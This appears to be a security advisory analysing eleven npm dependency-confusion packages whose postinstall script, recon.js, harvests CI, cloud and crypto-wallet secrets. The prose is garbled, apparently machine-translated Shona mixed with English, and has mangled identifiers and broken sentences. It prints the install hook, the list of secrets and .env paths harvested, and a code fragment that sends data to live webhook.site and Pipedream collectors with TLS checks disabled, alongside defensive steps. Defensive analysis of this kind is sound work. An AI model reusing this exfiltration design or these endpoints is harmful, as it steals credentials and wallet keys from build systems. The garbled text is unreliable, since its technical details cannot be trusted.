TL; DR
Musi wa2026-06-17, account imwe chete yenpm yakabudiswa mapakeji gumi nerimwe ane chinangwa chimwe chete uye mutoro mumwe cheteGumi vavo vanotakura cryptodao- chivakashure (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); yegumi neimwe ndiyo scoped @public-for-cdao/coreZvese zvakaburitswa pashanduro 99.99.99 uye inotumira byte-yakafanana recon.js iyo inoramba ichienderera mberi postinstall.
Mazita acho ndiwo anotsanangura. Anonzwika semabhuroko emukati me crypto/DAO project's private toolchain. Yakaburitswa ku public npm registry pamhando yepamusoro, vakagara vakamirira kuvaka. pipeline iyo yakagadzirirwa kugadzirisa mazita iwayo uye inosvika paruzhinji npm isati yasvika — kana pachinzvimbo — pa private registry. Iyi ndiyo kuvhiringidzika kwekuvimba, uye mutoro wacho wakagadzirirwa kuti utarise kuti unosvika kupi chaizvo: CI/CD vanomhanya.
apo postinstall moto, recon.js anounganidza ruzivo rwemugamuchiri, anotsvaira nehasha makumi mana emamiriro ezvinhu egore, CI, uye crypto-wallet, inoverenga chero .env inotumira mafaira ayo yainogona kuwana uye inotumira mitsetse ine zvakavanzika zvakananga, yozotumira bundle racho kuvaunganidzi vaviri — webhook.site uye Pipedream endpoint — ine TLS certificate certification yakadzimwa. Kopi yakanyorwawo pasi pe /tmp.
Kusimba: yakakwirira. . Mamiriro ekunze akakanganiswa: npmMapakeji ese gumi nerimwe aivepo panguva yekunyora uku.
Muviri wekurwisa
Muchina wacho une zvikamu zvina zvinofamba, uye hapana chimwe chazvo chinonzwisisika kana wangoziva tarisa rimwe divi kupfuura zita repakeji.
1. Shanduro yekukwira kwemitengo senzira yekugadzirisa dambudziko. Pakeji yega yega inozivisa vhezheni 99.99.99Kuvhiringidzika kwekuvimba kunoshanda kana maneja wepakeji, akakumbira zita remukati, rinotarisawo rejista yeruzhinji uye rinosarudza vhezheni yepamusoro yaro inowana. Sarudzo yakasarudzika yaNpm yenzvimbo yekutarisira kana yeWildcard ndiyo vhezheni inogutsa zvakanyanya pane ese manyuko akagadzirirwa; kana ese ari maviri ari epachivande registry uye public npm mhinduro yezita rimwe chete, nhamba yakakura yeshanduro inokunda. A 99.99.99 inokunda chero shanduro chaiyo yemukati iyo purojekiti ichave nayo zvakasvikwa, saka mugadziri asina kubatwa kunobva nyaya yake anosarudza ruzhinji — uye muchiitiko ichi, ruvengo — kopi. Mushandisi haafanire kuziva nhamba dzeshanduro chaiyo dzechinangwa; kusarudza huwandu husina musoro hunovimbisa tai nguva dzose zvinovaparadza.
2. Chinhu chinokonzeresa mushure mekuiswa. package.json inoisa mutoro wepayload kune iyo install lifecycle:
{ "scripts": { "postinstall": "node recon.js" } }Hapana chinodiwa kupinza pakeji. Kungoiisa chete — iyo CI pipeline inomhanya otomatiki - inomhanya recon.js.
3. Kutsvaga kwakavanzika kwakakura. recon.js inounganidza mhedzisiro muzvikamu:
- Mamiriro ekugamuchira: zita remutambi, chikuva uye kuburitswa, dhizaini, zita remushandisi, kushanda dhairetori.
- Zvinochinja-chinja zvakatipoteredza: inodzokorora runyorwa rwakagadzika rwemazita nezvinyorwa zvinosvika makumi mana chero zvakatarwa. Rondedzero yacho iri kuratidza — inobatanidza ma generic CI token (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) uye gore magwaro (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) nezvinyorwa zverejista uye zvakavanzika zvemidziyo (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) uye boka rine flavour ye crypto: KIYI_YEPRIVATE, MNEMONIC, MASHOKO ESEED, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. Makoshero akanyorwa anopfupikiswa kuita mavara makumi mashanu ekutanga.
- .env mafaira: inoongorora runyorwa rwenzira — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, uye .kugadzirwa/.budiriro zvakasiyana-siyana — uye kune chero faira riripo, iro inosefa zviri mukati kuti zvienderane nemitsetse KIYI|CHAKAVANZIKA|CHITOKENHO|PASA|YEPAMUSORO|MNEMONIC uye inosundira mitsara iyoyo ** zvizere, isina kupfupikiswa** mumhedzisiro.
- Chinyorwa chekuvaka-host: chinonyora zvinyorwa zvekutanga makumi maviri zve /kuvaka/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, uye / tmp /.
Rondedzero yenzira uye rondedzero inoshanduka-shanduka inoremerwa kune vanomhanya veGitLab, izvo zvinonongedzera mutoro uripo chaiwo pazvivakwa zveCI zvinozvibata pane kugadzira mugadziri Laptop. Kuisa runyorwa rwekukohwa mumapoka nemapoka kunoita kuti zvinhu zvinotarisirwa kutakura zvive nyore:
Chikamu che crypto ndicho chinosiyanisa izvi ne generic CI-secret kutsvaira: mitsara yembeu yewallet nemakiyi ekusaina zvinongoonekwa chete munzvimbo ye purojekiti ye blockchain, uye vanobatana zvakananga ne cryptodao-/chiratidzo/zvibvumirano mazita evatakuri.
4. Kubuda kwemvura kaviri nekusimbiswa kwakavharwa. Rondedzero yakaunganidzwa ndeye yakarongwa uye yakatumirwa kunzvimbo mbiri:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })kuramba Hazvina mvumo: nhema inodzima TLS certificate checks ye outbound mafoni. Data rimwe chetero rinodhindwa kuita stdout (saka rinowirawo muCI job logs) uye yakanyorerwa /tmp/.npm_recon_ .jsonZvikanganiso zvinomedzwa chinyararire, saka munhu kutumira kwakundikana hakusiyi chiratidzo chekuisa kunze kwechinhu chimwe chete [kudzokorora] yakaiswa pa mutsetse.
Mhinduro inotungamira mufaira inotsanangura izvi se "Kuvhiringidzika kweKuvimba Kupfupiswa kwenhamba dzenzvimbo kusvika pamavara makumi mashanu kwaita kuti chimiro cheuchapupu hwepfungwa. Chinoifambisa kupfuura mwenje wekuvapo chete ndicho .env kubata: mitsetse yekutumira zvakavanzika inotumirwa zvizere, uye nzvimbo dzinoenda vanhu vaviri vanoshanda, vanodzorwa nevanorwisa kwete sinki inongotarisirwa chete Hits.
Nemakore
Maitiro ekuburitsa siginecha yechinyorwa chimwe chete, kwete gumi nerimwe kurodha kwakazvimirira.
Mapakeji gumi aibuda mukati mehwindo remasekondi makumi maviri nemapfumbamwe, rinenge rimwe chete masekondi matatu ega ega. Yakakomberedzwa @yeruzhinji-ye-cdao/core yakatevera kwemaminitsi makumi maviri nemana mushure me - sekondi kudoma mazita echinangwa chimwe chete, kana chirongwa ichi chichitaura nezve cheni yemidziyo yemukati iri pasi pechikero kwete semazita asina chinhu.
Zviratidzo zvekubvumirana
Hunhu uye maitiro akaonekwa
Zvese zvine chekuita neboka iri zvinonongedzera kuruoko rumwe chete. Mapakeji ese gumi nerimwe akabudiswa neakaundi yeNpm munhu mukuru (aduljune@proton.mekero isina kusimbiswa isina yakabatana source repository), mukati memaminitsi makumi maviri nemashanu, panguva imwe chete 99.99.99 shanduro, kutumira a recon.js zviri mukati mazvo zvakafanana ne byte-for-byte pane ese package (MD5 inoenderana nemakopi ese gumi nerimwe akatorwa). Iyoyo ipayload imwe chete yakadhindwa pane runyorwa rwemazita, kwete kushandiswazve kwekodhi yakazvimiririra.
Rondedzero yemazita inotsanangura chinangwa chaunoda. cryptodao-* uye cdao tsanangura dhizaini yemodule yakavanzika yepurojekiti ye crypto/DAO, uye runyorwa rwekukohwa kwemubhadharo magirazi anofungidzira: pamwe chete neCI yakajairika nezvakavanzika zvegore, zvinonyanya kukosha inosvika KIYI_YEPRIVATE, MNEMONIC, MASHOKO ESEED, uye Ethereum/BSC RPC uye makiyi evanopa. .env Nzira dzekutsvaga uye rondedzero dzedhairekitori ndezveGitLab-runner chaiyo. Mhedzisiro inoonekwa ndeyekuti chero pipeline vakanyengerwa kuisa izvi mazita aizotumira zviratidzo zveCI, makiyi egore, uye on-disk .env zvakavanzika — uye, zve purojekiti ye blockchain, zvinhu zvayo zvechikwama — kune vanhu vaviri vanounganidza mari.
Hatitaure kuti ndiani ari kushandisa account iyi kana kuti chii chavakaronga kuita nayo Chokwadi chiripo chega: mazita acho anotarisa rudzi rwakati rwe cheni yemidziyo yemukati, mutoro wekubhadhara unoverenga uye unotumira zvinhu zvakavanzika zvechokwadi, uye zvivakwa zvaive zviripo.
Mhedzisiro, mafambiro, uye gwara rekudzivirira
Kuvhiringidzika kwekuvimba inoramba ichishanda nekuti inoshandisa maitiro ekugadzirisa matambudziko, kwete kusasimba mune chero pakeji. Chinotakura pano hachina kukosha — gumi nerimwe chete chisina chinhu mapakeji — asi kuputika kwenharaunda hakuna zvakunoreva pipeline zvisizvo inosarudza public npm kuti zita remukati rionekwe. CI runners ndiyo nzvimbo yakaipa kwazvo yekuti izvozvo zviitike: vanobata zviratidzo chaizvo uye .env mafaira aya anoverengwa, uye vanoisa kuvimbana kusingapindirane, saka a postinstall inomhanya isina anoiona.
Chikamu ichi chinoenderanawo nepati yatinogara tichiona: mitoro yekuisa panguva yekuisa iyo inoratidza se "tsvakurudzo" kana "kuongorora" uku uchiita kuunganidza zvitupa zvechokwadi. Chiratidzo chacho mufaira hazvichinje zvinoitwa nekodhi pane runner. Sarudzo mbiri dzekugadzira dzinosara chiitiko chakanyarara: mashandiro ese enetwork uye system yefaira akaputirwa mu mubati wekunze anorasa zvikanganiso, saka kutumira kwakavharika kana faira risipo haibudisi mhinduro yekuongorora, uye chinhu chimwe chete chakadhindwa ichinyorwa chimwe chete chisina mhosva [kugadzirisazve] … yakaiswa mutsetse unobatanidza nekutaura kwakajairika kwekuisa. Kushandiswa kwe webhook.site uye Pipedream zvakare inorerutsira pfungwa — zvese zviri mahara, masevhisi ekubata zvikumbiro anopihwa ipapo ipapo, saka mushandi haadi maseva e dzavo uye nzvimbo dzinoonekwa semazita eSaaS akajairika mumagwaro ekubuda.
Zvehupfumi ndizvo zvinoita kuti izvi zvikoshese kutariswa nemudziviriri kunyangwe kodhi yemutakuri haina basa. Kunyoresa mazita gumi nerimwe hakuna muripo, muripo mumwe chete faira rakakopwa kagumi nerimwe, uye maneja wepakeji ndiye anoita zvese zvaitwa. yakagadziriswa zvisizvo pipeline chero kupi zvako kunodya rimwe remazita aya kunobhadhara mari yese operation.
Matanho chaiwo evadziviriri:
- Isa ma scope emukati kune yako yakavanzika registry. Gadzirisa npm saka mazita emukati
uye mascope anongoshanda chete pa registry yako (scoped .npmrc registry mappings, kana proxy isingambosviki ku public npm yenzvimbo dzemazita dziri dzevaridzi). Chengetedza mazita ako e public scope kuitira kuti pasave nemumwe munhu anogona kuanyoresa.
- Commit lockfiles uye isa ne –ignore-scripts muCI kana zvichibvira, kana ongorora zvidimbu zvidiki zvezvinodiwa zvinoda chaizvo install scripts. recon.js haigone kumhanya kana postinstall haisi kuurayiwa.
- Bata vhezheni ye99.99.99 (kana imwe vhezheni yakakwira zvisinganzwisisike) yezita rinotaridzika mukati semureza mutsvuku mukuongorora kuvimba nevatengi uye kutarisa rejista.
- Ziviso pakubuda kwesoftware panguva yekuisa. A postinstall iyo inovhura HTTPS inobuda kubatana — kunyanya kana kusimbiswa kwechitupa kwakadzimwa — ku webhook.site, Pipedream, kana mamwe masevhisi ekukumbira-kubata akafanana akakodzera kuvharwa pamucheto wenetwork uye kuiswa mu build logs.
- Tsvaga zvinhu zvechinyakare. Tarisa vatambi vemitambo kuti vaone kana paine /tmp/.npm_recon_*.json uye [recon] ... yakaiswa pa ... chiratidzo muma CI logs achangoburwa. Kana yawanikwa, tenderera yega yega chitupa chakaiswa pachena kune izvozvo pipeline — Matokeni eCI, makiyi egore, matokeni erejistri, uye chero mbeu dzewallet kana makiyi epachivande aripo munharaunda kana mafaira e .env.
References
Pakanga pasina mishumo yekunze pamusoro peboka iri panguva yekunyora uku; ongororo yacho pamusoro apa zvakavakirwa zvakananga pane zviri mupakeji yakaburitswa
